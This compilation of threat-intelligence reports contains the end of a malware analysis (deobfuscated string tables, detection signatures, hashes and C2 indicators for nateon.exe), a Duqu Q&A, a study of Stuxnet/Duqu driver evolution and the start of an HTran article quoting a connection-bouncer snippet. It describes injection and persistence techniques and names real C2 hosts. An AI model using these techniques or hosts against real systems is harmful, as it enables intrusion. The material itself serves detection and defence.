10023C28 "%SystemRoot%\system32\sv chost.exe LocalService<\x00><\uBC64>< \uD4CC>"55 10017D74 10023EEC "GetWindowThreadProcessId" 10017DC6 10023F18 "GetExitCodeThread" 10017E18 10023F48 "EqualSid" "SYSTEM\CurrentControlSet\Serv ices<\x00><\u54AC><\u8C34>" 10017E6A 10023F54 "FreeSid" 10017EB9 10023F60 "ShellExecuteExW" 10017F08 10023F74 "SHCreateItemFromParsingName 10016108 10023C90 10016138 10023CD8 "\<\x00><\uC4FC>" 10016183 10023CE0 "\Parameters<\x00><\uA8A8>" 100161C2 10023CFC "LocalService" 10017F61 10023FA4 "CoCreateInstance" 10016267 10023D18 "ServiceDll" 10018226 10023F2C "AllocateAndInitializeSid" 100162B6 10023AF4 "RqSkce" 100184E2 10023FC8 ".DLL" 100162C8 10023AF4 "RqSkce" 10018534 10023FD4 ""<\x00><\u7CA4>" 100162E3 10023D30 "ServiceMain" 1001856E 10023FDC "\<\x00><\u9C04>" 10016389 10023D4C "LocalService" 100185A6 10023FE4 "" <\x00><\u1020>" 100163EF 10023D68 ".DLL" 100185D2 10023AF4 "RqSkce" 1001642B 10023D74 "\<\x00><\u344C>" 100185FE 10023FEC 1001649E 10023D7C "RUNDLL32.EXE " 1001862A 10022208 "SMI" 100164D0 10023D9C ""<\x00><\u8070>" 100186F4 1002401C "\SYSPREP<\x00><\uF8D8>" 10018720 10024030 "\SYSPREP.EXE<\x00><\u18B8 55 The nateon.exe dropper configures winsvcfs.dll to run inside the trusted operating system process svchost.exe PAGE 20 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1001881A 10024058 "LoadLibraryW" 10018836 10024068 "kernel32.dll" 10018879 10024078 "FreeLibrary" 10018890 10024068 "kernel32.dll" 10018B30 10022B68 "\<\x00><\uFFFD>" CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 00><\u70C0><\u28FB><\u38E4 ><\u680B>" 1001AB05 10024218 "GetSystemDefaultLCID" 1001AB81 1002430C "%s" 1001ABC1 10022658 "%s" 1001AC02 10024314 1001AC23 10024318 "%s" 1001AC6B 10024320 "%s" 1001ACA4 10022658 "%s" 1001ACE1 10024328 1001ACFC 1002432C "%s" 1001B0D7 10024334 ".DLL" 1001B11A 10024340 "RUNDLL32.EXE " 1001B15A 10024360 ""<\x00><\u5878>" 1001B1B4 10023FDC "\<\x00><\u9C04>" 1001B1F4 10024368 "" <\x00><\u9CE4>" 1001B22C 10023AF4 "RqSkce" 1001B266 10024370 1001B29B 10022214 "SMU" 1001B54A 10024378 "RtlNtStatusToDosError" 1001B599 100243B0 "RtlDecompressBuffer" 1001B5F8 100243C8 "RtlCompressBuffer" 1001B677 10024390 "RtlGetCompressionWorkSpaceSi 1001BD1B 10024288 "\\.\PIPE\RUN_AS_CONSOLE(%d )<\x00><\u7000><\u78D8><\u6 090><\u2828>" 10018B71 10024088 "sysprep" 10018BE4 10023F94 "CoInitializeEx" 10018C88 1002409C "CRYPTBASE.DLL" 10018D00 100240BC "\<\x00><\u5C44>" 10018D3A 100240C4 "sysprep" 10018D7D 100240D8 "\<\x00><\u0888>" 10018DBB 100240E0 "CRYPTBASE.DLL" 10018E1B 10024100 "\<\x00><\u1020>" 10018E46 100240C4 "sysprep" 10018E75 10024108 "\<\x00><\u8070>" 10018EA7 10024110 "sysprep.exe" 10018FB8 10023FB8 "CoUninitialize" 1001903E 1002412C "CRYPTBASE.DLL" 100190B1 1002414C ".DLL" 10019112 10024158 "RUNDLL32.EXE " 1001914B 10024178 ""<\x00><\uF858>" 10019197 10024180 "\<\x00><\u6010>" 100191E0 10024188 "" <\x00><\uF42C>" 10019219 10023AF4 "RqSkce" 10019252 10024190 1001928B 10022208 "SMI" 1001949A 10023ED8 "CreateRemoteThread" 1001BEDB 100243DC "TerminateThread" 10024418 "SetUnhandledExceptionFilter" 10019534 10024198 "Shell_TrayWnd" 1001BF2F 10019558 10023F08 "FindWindowA" 1001BF7E 100243F0 "TlsAlloc" 1002440C "TlsFree" 100195E4 100241C8 "GetCurrentThread" 1001C028 1001962E 100241DC "SetThreadPriority" 1001C0CB 100243FC "TlsGetValue" 10024438 "ECount=%d," 100197F3 10024204 "GetSystemMetrics" 1001C139 10019842 10024230 "gethostbyname" 1001C180 10024450 "EAddr=0x%p," "lstrcatW" 1001C1CC 1002446C "ECode=0x%x," 10024488 "ESalF=%d" 10019891 10024240 100198E3 1002424C "ResumeThread" 1001C214 10019939 1002425C "QueueUserAPC" 1001C2D4 1002449C "MessageBoxA" "\\.\PIPE\RUN_AS_CONSOLE_USE R(%d)<\x00><\u0CB4><\u40E5 ><\u4033><\uC0C0>" 1001C32C 100244AC "lstrcpyA" 1001C380 100244B8 "InternetOpenA" 1001C3D4 100244C8 "InternetOpenUrlA" 1001C431 100244DC "InternetReadFile" 1001C489 100244F0 "InternetCloseHandle" 1001C510 10024508 "XXXXXXXX"57 1001C5E3 10024514 "DEMO" 1001C618 10024520 "TVT" 1001C658 10024528 "TVT DEMO" 1001C6DA 10024534 "192.168.0.200" 1001A25C 100242C8 1001A419 1002426C "download.windowsupdate.co m"56 1001A66A 10024288 "\\.\PIPE\RUN_AS_CONSOLE(%d )<\x00><\u7000><\u78D8><\u6 090><\u2828>" 1001A914 100241F0 "GlobalMemoryStatus" 1001AA61 100236DC "~MHZ" 1001AA7F 100236E8 "HARDWARE\DESCRIPTION\SYS TEM\CENTRALPROCESSOR\0<\x 56 The hardcoded domain name download.windowsupdate.com is used to detect internet connectivity. This domain name can be overridden in the malware s configuration. 57 This set of hardcoded strings, XXXXXXXX DEMO DEMO , and 192.168.0.200 are hardcoded values overridden by the malware s configuration. PAGE 21 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1001C717 10024534 "192.168.0.200" 1001EFDD 100246FC "HttpOpenRequestA" 1001C74F 10024548 1001F113 10024560 "%2.2X" 1001C7BF 1002454C "CONFIG DESTORY!"58 1001F189 10024570 1001CC41 10024560 "%2.2X" "Software\SafeSvc<\x00><\uB4E 1001CCB2 10024570 "Software\SafeSvc<\x00><\uB 4EC>"59 1001F278 100247D4 1001F308 100247D8 "Proxy Authorization: Basic %s<\r><\n><\x00> 1001F39B 100247FC Session"62 1001F3BC 10024808 "%s: %d" 1001CD54 10024594 "%2.2X" 1001CD98 100245A4 "Software\SafeSvc<\x00><\u40F 1001CDE7 100245C8 "socket" 1001F41E 10024810 Status" 1001CE41 100245D0 "bind" 1001F43F 1002481C "%s: %d" 1001CE94 100245E0 "setsockopt" 1001F49B 10024824 Size" 1001CEEE 100245EC "shutdown" 1001F4B9 1002482C "%s: %d" 1001CF3F 100245F8 "closesocket" 1001F507 10024834 1001CF95 10024608 "ioctlsocket" 1001F525 1002483C "%s: %d" 1001CFEC 10024620 "htons" 1001F776 10024844 1001D03B 10024634 "WSAGetLastError" 1001F7BB 10024848 1001D085 10024648 "lstrcpynA" 1001F7FC 100247FC Session" 1001D45C 100245D8 "recv" 1001F845 10024810 Status" 1001D5C1 10024654 1001F889 10024824 Size" 1001D67C 10024658 "Proxy Authorization: Basic " 1001F8CD 10024834 1001D6B5 10024678 "GET " 1001FC5C 1002484C "%s" 1001D6E8 10024680 "POST " 1001FC90 10024738 "HttpQueryInfoA" 1001D71B 10024688 "CONNECT " 10020324 10024850 "connect" 1001D775 10024658 "Proxy Authorization: Basic " 10020378 1002486C "getpeername" 1001D886 10024694 100203CF 10024894 "WSAIoctl" 1001DA8F 10024618 "ntohs" 10020430 100248A0 "WSAGetOverlappedResult" 1001DB03 10024628 "inet_ntoa" 10020662 100248B8 "WSAStartup" 1001E16D 100246C8 "ResetEvent" 100206C5 100248C4 "WSACleanup" 1001E1BE 100246D4 "InternetConnectA" 10020A04 100248D0 1001E21A 100246E8 "InternetWriteFile" "CONNECT %s:%d HTTP/1.1<\r><\n><\x00>d$" 1001E272 10024710 "HttpSendRequestExA" 10020A46 100248EC 1001E2CA 10024724 "HttpEndRequestA" "Content length: 0<\r><\n><\x00>tl" 1001E31F 10024748 "InternetSetOptionA" 10020A7A 10024904 "Content Type: text/html<\r><\n><\x00>|d" 1001E376 1002475C "HttpAddRequestHeadersA" 10020AAE 10024920 1001E3CF 10024698 "EnterCriticalSection" 1001E420 100246B0 "LeaveCriticalSection" "Proxy Connection: Keep Alive<\r><\n><\x00><\u2584 ><\u20A7>" 1001EE91 10024774 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;"60 10020B10 10024940 10020B63 10024944 1001EF9B 100247B0 "/update?product=windows"61 "Proxy Authorization: Basic %s<\r><\n><\x00><\u255D>" 1001EFB6 100247CC "POST" 10020C3E 10024968 "HTTP/1.0 200 " 10020C79 10024978 "HTTP/1.1 200 " 1002124B 1002485C "getsockname" 100212C1 1002487C "WSASend" 1002134E 10024888 "WSARecv" 10021438 10024998 "static" 100214B6 10024988 "GetMessageW" 58 The string CONFIG DESTORY! is displayed in a message box when nateon.exe detects corruption in its configuration. It can be used as a signature to identify similar malware. 59 The unusual hardcoded registry key Software\SafeSvc can be used as a signature to identify similar malware. 60 This is the user agent included in HTTP requests made by the malware to its configured command and control infrastructure. This malformed user agent string can be used as a signature to detect malicious network traffic. 61 This is the path included in HTTP requests made by nateon.exe to its configured command and control infrastructure. This string can be used as a signature to detect malicious network activity. 62 The HTTP headers Session Status Size , and can be used to develop stronger signatures for detection of network activity generated by the malware. PAGE 22 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. ANNEX B SUMMARY OF MALWARE KNOWN TO CREATE THE UNIQUELY NAMED DIRECTORY: 03A075FB70D5D675F9DC26FC MD5 HASH FILE SIZE (BYTES) DATE(S) ANALYSED FILES CREATED NETWORK CONNECTIVITY 16A3 1AA8 E7DD F66A 3155 1840 573B 6575 155648 13 July 2011 (ThreatExpert, 2011) $$$$$$$$mtx.bat winscard2.exe TCP port 1058 opened for inbound connections ABA9 BAEA 7082 5E6A DF07 2358 7F27 3DC4 3514598 29 July 2011 (ThreatExpert, 2011) zhenxiang.exe winscard.exe TCP ports 1052 and 1053 opened for inbound connections BCE1 069D D099 F151 70C5 FD05 BAE9 21B5 133632 29 May 2011 (GFI SandBox, 2011) 03 August 2011 (ThreatExpert, 2011) 106140_d.bat tcmoniter.exe pc.nprotects.org on TCP port 80 E8EE 9373 EE6C 8360 42E8 F48D 8DE2 DDA9 unknown 08 February 2011 (GFI Software, 2011) $$$$$$$$fbl.bat tcomoniter.exe pc.nprotects.org on TCP port 80 FDF2 C5C2 B187 4EFE 7FD3 3509 2DF2 D3BC unknown 15 July 2011 (GFI SandBox, 2011) 40984_d.bat wincard0.dll uxtheme.dll bbs.ezxsoft.com on TCP port 80 PAGE 23 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. COPYRIGHT NOTICE Copyright Command Five Pty Ltd. All rights reserved. This document is provided by the copyright holders under the licence that follows. By obtaining, using, and/or distributing this document you agree that you have read, understood, and agree to the terms and conditions that follow. The names and trademarks of Command Five Pty Ltd may not be used in advertising or publicity relating to this document or its contents without specific, prior, written permission. No permission is given for this document to be used for commercial purposes or as part of any commercial activity or undertaking, including, but not limited to, use in or relating to advertising or publicity, and/or use in support of, or as part of, any pre sales or sales activities. No permission is given to create modified or derivative works. You may distribute this document in its original form for non commercial purposes in accordance with the other terms and conditions stated herein. Copyright title will at all times remain with the copyright holders. All referenced trademarks remain the property of their respective owners. THIS DOCUMENT IS PROVIDED AS IS FOR INFORMATIONAL PURPOSES ONLY WITH NO REPRESENTATIONS OR WARRANTIES OF ANY KIND, INCLUDING BUT NOT LIMITED TO ANY WARRANTY, EXPRESS OR IMPLIED, OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE; WARRANTY OF NON INFRINGEMENT, OR TITLE; NOR ANY WARRANTIES PERTAINING TO THE ACCURACY OR COMPLETENESS OF CONTENT. ANY OPINIONS EXPRESSED IN THIS DOCUMENT MAY CHANGE WITHOUT NOTICE AND ARE NOT NECESSARILY THE CONSIDERED OPINIONS OF COMMAND FIVE PTY LTD, ITS PARTNERS, EMPLOYEES, OR AFFILIATE ORGANISATIONS. ANY ADVICE OFFERED IN THIS DOCUMENT IS OFFERED WITHOUT WARRANTY OF ANY KIND. Command Five Pty Ltd ABN: 49 149 576 670 http://www.commandfive.com info@commandfive.com PAGE 24 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Duqu Trojan Questions and Answers URL: http://www.secureworks.com/research/threats/duqu/ Date: October 26, 2011 Author: SecureWorks Counter Threat Unit Research Team The Dell SecureWorks Counter Threat UnitSM (CTU) research team has been analyzing an emerging malware threat identified as the Duqu trojan. This Trojan horse has received a great deal of attention because it is similar to the infamous Stuxnet worm of 2010. This report includes answers to questions about this threat. CTU researchers have put countermeasures in place to detect Duqu C2 traffic, and they continue to monitor for new Duqu samples and update protections as needed. What is Duqu? The Duqu trojan is composed of several malicious files that work together for a malicious purpose. The first component is a Windows kernel driver that searches for and loads encrypted dynamic link library (DLL) files. The decrypted DLL files implement the main payload of Duqu, which is a remote access trojan (RAT). The RAT allows an adversary to gather information from a compromised computer and to download and run additional programs. In addition to the RAT, another piece of malware was recovered with Duqu in one instance. This malware is an information stealer designed to log user keystrokes and other information about the infected system. This piece of malware is believed to be related due to programming similarities with the main Duqu executables. What is the relationship to Stuxnet? There has been much speculation that Duqu is a new version of Stuxnet or that it was written by the same authors. There are several factors that could influence these speculations: Duqu and Stuxnet both use a kernel driver to decrypt and load encrypted DLL (Dynamic Load Library) files. The kernel drivers serve as an "injection" engine to load these DLLs into a specific process. This technique is not unique to either Duqu or Stuxnet and has been observed in other unrelated threats. Encrypted DLL files are stored using the .PNF extension. This is normally the ex- tension Microsoft Windows uses for precompiled setup information files. The commonality exists due to the kernel driver implementation being similar. The kernel drivers for both Stuxnet and Duqu use many similar techniques for encryption and stealth, such as a rootkit for hiding files. Again, these techniques are not unique to either Duqu or Stuxnet and have been observed in other unrelated threats. Both Stuxnet and Duqu have variants where the kernel driver file is digitally signed using a software signing certificate. One variant of the Duqu kernel driver was signed by a certificate from C-Media Electronics Incorporation. An unsigned Duqu kernel driver claimed to be a driver from the JMicron Technology Company, which was the same company whose software signing certificate was used to sign one of the Stuxnet kernel driver files. The commonality of a software signing certificate is insufficient evidence to conclude the samples are related because compromised signing certificates can be obtained from a number of sources. One would have to prove the sources are common to draw a definitive conclusion. Attribute Duqu Infection Methods Unknown Zero-days used Command and Control Installs signed kernel drivers to decrypt and load DLL files None yet identified HTTP, HTTPS, Custom Self propagation None yet identified Dropper Characteristics Stuxnet USB (Universal Serial Bus) PDF (Portable Document Format) Installs signed kernel drivers to decrypt and load DLL files Four HTTP P2P (Peer to Peer) using RPCs (Remote Procedure Call) Network Shares WinCC Databases (Siemens) Add-on, keystroke logger Built-in, used for versioning Data exfiltration user and system info and updates of the malware stealing Hard coded, must be in the following Uninstalls self after 36 Date triggers to infect or exit days range: 19790509 => 20120624 Interaction with control Highly sophisticated interaction None systems with Siemens SCADA control systems Table 1. Comparison of Duqu and Stuxnet. Both Duqu and Stuxnet are highly complex programs with multiple components. All of the similarities from a software point of view are in the "injection" component implemented by the kernel driver. The ultimate payloads of Duqu and Stuxnet are significantly different and unrelated. One could speculate the injection components share a common source, but supporting evidence is circumstantial at best and insufficient to confirm a direct relationship. The facts observed through software analysis are inconclusive at publication time in terms of proving a direct relationship between Duqu and Stuxnet at any other level. Does Duqu target industrial control systems? Unlike Stuxnet, Duqu does not contain specific code that pertains to supervisory control and data acquisition (SCADA) components such as programmable logic controllers (PLCs). Duqu's primary purpose is to provide an attacker with remote access to a compromised computer, including the ability to run arbitrary programs. It can theoretically be used to target any organization. Is there any evidence in the code indicating specific targets? Duqu facilitates an adversary's ability to gather intelligence from an infected computer and the network. CTU malware analysts have not identified any specific market segments, technologies, organizations or countries that are targeted by the Duqu malware. What are indicators of a Duqu infection? The Duqu trojan attempts to use the network to communicate with a remote command and control (C2) server to receive instructions and to exfiltrate data. Analysis of Duqu revealed that it uses the 206.183.111.97 IP address as its C2 server. This IP address is located in India and has been shut down by the hosting provider. Also, Duqu may attempt to resolve the kasperskychk.dyndns.org domain name. The resulting IP address is not used for communications, so this lookup may serve as a simple Internet connectivity check. Administrators should monitor their network for systems attempting to resolve this domain or connect to the C2 IP address for possible infection. Duqu uses multiple protocols to communicate with its C2 server, including standard HTTP on TCP port 80 and a custom protocol on TCP port 443. Some of Duqu's communications that use TCP port 443 do not use the HTTPS protocol. Organizations may be able to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification. Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu. The CTU research team is aware of the following files that may be installed by the Duqu trojan. The byproducts in Table 2 have been collected from multiple Duqu variants and would not be present on a single infected computer. Name File Size jminet7.sys 24,960 bytes 0eecd17c6c215b358b7b872b74bfd800 netp191.pnf 232,448 bytes b4ac366e24204d821376653279cbad86 netp192.pnf 6,750 bytes 94c4ef91dfcd0c53a96fdc387f9f9c35 cmi4432.sys 29,568 bytes 4541e850a228eb69fd0f0e924624b245 cmi4432.pnf 192,512 bytes 0a566b1616c8afeef214372b1a0580c7 cmi4464.pnf 6,750 bytes e8d6b4dadb96ddb58775e6c85b10b6cc 85,504 bytes 9749d38ae9b9ddd81b50aad679ee87ec (sometimes referred to as keylogger.exe) nfred965.sys 24,960 bytes c9a31ea148232b201fe7cb7db5c75f5e nred961.sys unknown f60968908f03372d586e71d87fe795cd adpu321.sys 24,960 bytes 3d83b077d32c422d6c7016b5083b9fc2 iaStor451.sys 24,960 bytes bdb562994724a35a1ec5b9e85b8e054f Table 2. Byproducts of Duqu. The name "Duqu" was assigned to this malware because the keylogger program creates temporary files that begin with the prefix "~DQ". A computer infected with Duqu may have files beginning with "~DQ" in Windows temporary directories. How do Duqu infections occur? The mechanism by which Duqu infections occur is unknown. Current analysis of Duqu has not revealed any ability to infect additional systems like the Stuxnet worm could. In addition, all of the Duqu files CTU researchers have analyzed would likely have been installed by an initial installer or "dropper" malware. None of the original installers have been recovered. The recovery of one of these installers may help provide clues to how Duqu infections occurred. Is Duqu an advanced persistent threat (APT)? Dell SecureWorks does not identify individual tools as APT. APT is a threat actor or actors targeting an organization for assets of interest. An APT involves planning by the adversary, teams with specialized roles, multiple tools, patience and persistence. While Duqu does provide capabilities used by other tools observed in APT-related intrusions, an assessment of the particular threat requires knowledge of the adversary, targeted organization and assets and the scope of attacks. Is antivirus and antimalware protection sufficient for detecting Duqu? Since its discovery, security vendors have worked to improve their ability to detect Duqu. However, the author may simply release newer variants that are no longer detected by antivirus and antimalware products. What can I do to protect my organization from Duqu? Administrators should use host-based protection measures, including antivirus and antimalware, as part of a holistic security process that includes network-based monitoring and controls, network segmentation and policies, user access, and controls to help mitigate the threat of malware like Duqu. A computer infected with Duqu may have files beginning with "~DQ" in Windows temporary directories. Organizations may want to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification. Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu. Administrators should monitor their network for systems attempting to resolve Duqu-related domains or connect to Duqu C2 IP addresses for possible infection. Stuxnet/Duqu: The Evolution of Drivers We have been studying the Duqu Trojan for two months now, exploring how it emerged, where it was distributed and how it operates. Despite the large volume of data obtained (most of which has yet to be published), we still lack the answer to the fundamental question - who is behind Duqu? In addition, there are other issues, mostly to do with the creation of the Trojan, or rather the platform used to implement Duqu as well as Stuxnet. In terms of architecture, the platform used to create Duqu and Stuxnet is the same. This is a driver file which loads a main module designed as an encrypted library. At the same time, there is a separate configuration file for the whole malicious complex and an encrypted block in the system registry that defines the location of the module being loaded and name of the process for injection. Conventional platform architecture for Stuxnet and Duqu This platform can be conventionally named as 'Tilded' as its authors are, for some reason, inclined to use file names which start with "~d". We believe Duqu and Stuxnet were simultaneous projects supported by the same team of developers. Several other details have been uncovered which suggest there was possibly at least one further spyware module based on the same platform in 2007-2008, and several other programs whose functionality was unclear between 2008 and 2010. These facts significantly challenge the existing "official" history of Stuxnet. We will try to cover them in this publication, but let us first recap the story so far. The 'official' Stuxnet story Let me start with a question: how many Stuxnet driver files are known? As of today, the correct answer would be four. See below for more information about them. Mrxcls.sys Size (bytes) 19840 Compilation date 01.01.2009 Mrxcls.sys 26616 01.01.2009 Mrxnet.sys 17400 25.01.2010 Jmidebs.sys 25552 14.07.2010 File name Where and when it was used Stuxnet (22.06.2009) Stuxnet (01.03.2010/14.04.2010) Stuxnet (01.03.2010/14.04.2010) Presumably, Stuxnet Digital signature/signing date Realtek, 25.01.2010 Realtek, 25.01.2010 Jmicron, unknown The first modification of the Stuxnet worm, created in 2009, used only one driver file - mrxcls.sys without a digital signature. In 2010, the authors created the second driver mrxnet.sys (to hide the worm's component files on USB drives) and equipped mrxnet.sys and mrxcls.sys drivers with digital certificates from Realtek. The mrxnet.sys driver is of no great significance to our story, as it is a separate module not included into the general architecture of the platform. On 17 July 2010, ESET detected another driver "in the wild" - jmidebs.sys - which was very similar to the already known mrxcls.sys, but had been created just three days before it was discovered. This driver was backed with a new certificate - this time from Jmicron. Until recently it was unclear what the purpose of this file was, but popular opinion held that it was related to Stuxnet. One theory is that the Stuxnet C&C was trying to replace the old version with the Realtek certificate with a new one. In doing so, the authors of the worm were either hoping to prevent it being picked up by antivirus programs, or were replacing a certificate which had been blocked. Unfortunately, this theory has not been confirmed - Jmidebs.sys has never been detected anywhere. A new version of Stuxnet capable of installing the file has also not been found. This is the official history of Stuxnet. However, as I mentioned above, in the course of our research we have discovered new evidence which will be discussed below. Previously unknown drivers rtniczw.sys While analyzing a user incident involving Duqu, we discovered something new - something that could, potentially, affect the whole Stuxnet story as we know it. A strange file was discovered on the victim's computer, which was detected by our antivirus engine as Rootkit.Win32.Stuxnet.a. This verdict was supposed to correspond to the known file mrxcls.sys described above, but the detected file's name and checksum were different! The file was rtniczw.sys, 26,872 bytes in size, MD5 546C4BBEBF02A1604EB2CAAAD4974DE0. The file was a little larger than mrxcls.sys, which had a Realtek digital signature. This implied that rtniczw.sys also had a digital signature. We managed to get a copy of the file, and we were amazed to find that it used the same Realtek certificate, but with a different file signing date from mrxcls.sys: rtniczw.sys was signed on 18 March 2010, while the mrxcls driver had been signed on 25 January of the same year. In addition, rtniczw.sys used a registry key and configuration data block that was not used in Stuxnet. Stuxnet used the key "MRxCls" and the value "Data", while in the case of rtniczw.sys, the key was "rtniczw" and the value was "Config". Detailed analysis of the code found in rtniczw.sys identified no other differences from the 'reference' driver: this was the same mrxcls.sys file, created in the same year, on the same day and hour - on 1 January 2009. We searched for additional information about other users who had the same file, but were unable to find anything! Moreover, we could find no information at all about the file's name (rtniczw.sys) or its MD5 in any search engine. The file had been identified only once: it had been sent for scanning to VirusTotal from China in May 2011. Apparently, the system that we were studying had been infected in late August 2011. It should be noted that we did not find a Stuxnet infection on the system: no additional files from the Stuxnet kit had been found. However, we did find Duqu files. We came to the conclusion that there could be other driver files similar to the "reference" file mrxcls.sys, which are not among known variants of Stuxnet. rndismpc.sys A check in our malware collection helped identify another interesting file that was included in the collection over a year ago. The file is named rndismpc.sys, it is 19,968 bytes in size, MD5 9AEC6E10C5EE9C05BED93221544C783E. This turned out to be another driver, with functionality very nearly identical to that of mrxcls.sys apart from the following exceptions: 1. rndismpc.sys uses a registry key that is different from the keys used by both mrxcls and rtniczw - it is the key "rndismpc" with the value "Action"; 2. it uses an encryption key that is different from that used by mrxcls/rtniczw - 0x89CF98B1; 3. the file's compilation date is 20 January 2008, i.e. a year before mrxcls/rtniczw were created. Like rtniczw.sys, the file rndismpc.sys had never been encountered on our users' machines. We do not know which malicious program installed it or which main module it was supposed to work with. The connecting link: mrxcls.sys --> jmidebs.sys -->Duqu drivers The data obtained and the available information about the drivers used in Duqu (see The Mystery of Duqu, Part One and Part Two) can be summed up in the table below: Name rndismpc.sys mrxcls.sys mrxcls.sys (signed) rtniczw.sys (signed) jmidebs.sys (signed) .sys* .sys* CompiMain Encryption Registry Device Size lation Value module name date 20.01. 19968 Unknown 0x89CF98B1 rndismpc "Action" "rndismpc" 2008 01.01. 19840 Stuxnet.a 0xAE240682 MRxCls "Data" "MRxClsDvX" 2009 01.01. 26616 Stuxnet.b/.c 0xAE240682 MRxCls "Data" "MRxClsDvX" 2009 01.01. 26872 Unknown 0xAE240682 rtniczw "Config" "RealTekDev291" 2009 14.07. 25502 Unknown 0xAE240682 jmidebs "IDE" {3093983-109232-29291} 2010 03.11. {3093AAZ3-1092-2929Different Duqu 0xAE240682 "FILTER" 2010 9391} 17.10. {624409B3-4CEF-41c0Different Duqu 0x20F546D3 "FILTER" 2011 8B81-7634279A41E5} *Known Duqu drivers have unique file names for each of the variants. Their functionality, however, is absolutely identical. According to our analysis, jmidebs.sys is the connecting link between mrxcls.sys and the drivers later used in Duqu. The code of mrxcls and jmidebs drivers is largely similar. Some small differences may be due to different settings and minimal changes in the source code, while the point of the code remains the same. However, more significant changes can be found in several functions: 1. The service function which obtains addresses of API functions: The version in mrxcls uses the function MmGetSystemRoutineAddress for this purpose and the respective text names of the addresses of incoming API functions. The version in jmidebs calls its own functions to obtain API addresses using hash-sums of their names. The same functions are used in Duqu drivers, while the list of functions' hashes is twice as long. 2. The function which creates stubs to inject PNF DLL into processes: The mrxcls version uses a stub with a total size of 6332 bytes. The jmidebs and Duqu drivers use stubs with a total size of 7061 bytes. The code used in the stub modules for these drivers is identical, but has different compilation dates. Mrxcls (Stuxnet) RtlGetVersion, KeAreAllApcsDisabled, obtained by calling MmGetSystemRoutineAddress Injected 6332 Jan 01 22:53:23 2009 jmidebs Duqu RtlGetVersion, KeAreAllApcsDisabled, PsGetProcessSessionId, PsGetProcessPeb obtained with their own functions Similar to jmidebs, 4 more functions added 7061 Jul 14 13:05:31 2010 7061 Different compilation dates Driver evolution We have mapped out the links between known drivers whose evolution and key stages of development are easy to track. Driver evolution from 2008 to 2011 rndismpc.sys, rtniczw.sys and jmidebs.sys As you can see from the diagram, it is not known which malicious program interacted with the following three drivers: rndismpc.sys, rtniczw.sys and jmidebs.sys. The obvious question would be: were they used in Stuxnet? In our opinion, the answer would have to be 'no'. First of all, if they had been used in Stuxnet, they would have left a far bigger footprint than the individual cases we have detected. Secondly, there hasn't been a single variant of Stuxnet that is capable of interacting with these drivers. The file rtniczw.sys was signed on 18 March 2010, but on 14 April 2010 the Stuxnet authors created a new variant of the worm that made use of the "reference" mrxcls.sys. It is obvious that rtniczw.sys was intended for some other use. The same can be said of jmidebs.sys. We believe that the three drivers are only indirectly related to Stuxnet and can safely be erased from Stuxnet history. Then there is another question: could these drivers have been used with Duqu? There is no clear-cut answer here. Although all known variations of Duqu are from the period November 2010-October 2011, we believe there were earlier versions of the Trojan spy created to steal information. The three drivers in question could easily have been used in early versions of Duqu or with other Trojans based on the Stuxnet/Duqu platform. Like Duqu, those Trojans were most probably used in targeted attacks before the appearance of Stuxnet (dating back to at least 2008), both while it was active and after its C&C was shut down. They were likely to have been parallel projects, and Stuxnet was subsequently based on that accumulated experience and the code that had already been written. It seems highly unlikely that this was the only project that its authors were involved in. The driver creation process Let's try to imagine what the driver creation process looks like. A few times a year the authors compile a new version of a driver file, creating a reference file. The primary purpose of this file is to load and execute a main module, which is created separately. It could be Stuxnet, or Duqu or something else. When it is necessary to use a driver for a new module, the authors use a dedicated program to modify information in the driver's "reference" file, i.e. its name and service information as well as the registry key and its value. It's important to note that they tweak ready-made files and don't create a new one from scratch. This means they can make as many different driver files as they like, each having exactly the same functionality and creation date. Depending on the aim of the attack and the Trojan's victim, several driver files can then be signed with legitimate digital certificates whose origins remain unknown. Conclusion From the data we have at our disposal, we can say with a fair degree of certainty that the "Tilded" platform was created around the end of 2007 or early 2008 before undergoing its most significant changes in summer/autumn 2010. Those changes were sparked by advances in code and the need to avoid detection by antivirus solutions. There were a number of projects involving programs based on the "Tilded" platform throughout the period 2007-2011. Stuxnet and Duqu are two of them there could have been others, which for now remain unknown. The platform continues to develop, which can only mean one thing - we're likely to see more modifications in the future. HTran and the Advanced Persistent Threat URL: http://www.secureworks.com/research/threats/htran/ Date: August 3, 2011 Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team While researching one of the malware families involved in the RSA breach disclosed in March 2011, Dell SecureWorks CTU observed an interesting pattern in the network traffic of a related sample (MD5:53ba6845f57f8e9ef600ef166be3be14). When the sample under analysis attempted to connect to the C2 server at my.amazingrm.com (203.92.45.2), the server returned a succinct plain-text error message instead of the expected HTTP-formatted response: [SERVER]connection to funn Although the message was seemingly truncated, this pattern was enough to correlate the error string to a known (and fairly old) program called "HUC Packet Transmit Tool", or "HTran", for which source code can be readily found on the Internet: http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm HTran is a rudimentary connection bouncer, designed to redirect TCP traffic destined for one host to an alternate host. The source code copyright notice indicates that HTran was authored by "lion", a well-known Chinese hacker and member of "HUC", the Honker Union of China. The purpose of this type of tool is to disguise either the true source or destination of Internet traffic in the course of hacking activity. HTran contains several debugging messages throughout the source code that are sent to the console or to the connecting client in order to diagnose connection issues. The part of the HTran source code that generated the error message seen in the trojan C2 response is shown below: if(client_connect(sockfd2,host,port2)==0) closesocket(sockfd2); sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2); send(sockfd1,buffer,strlen(buffer),0); The code is written 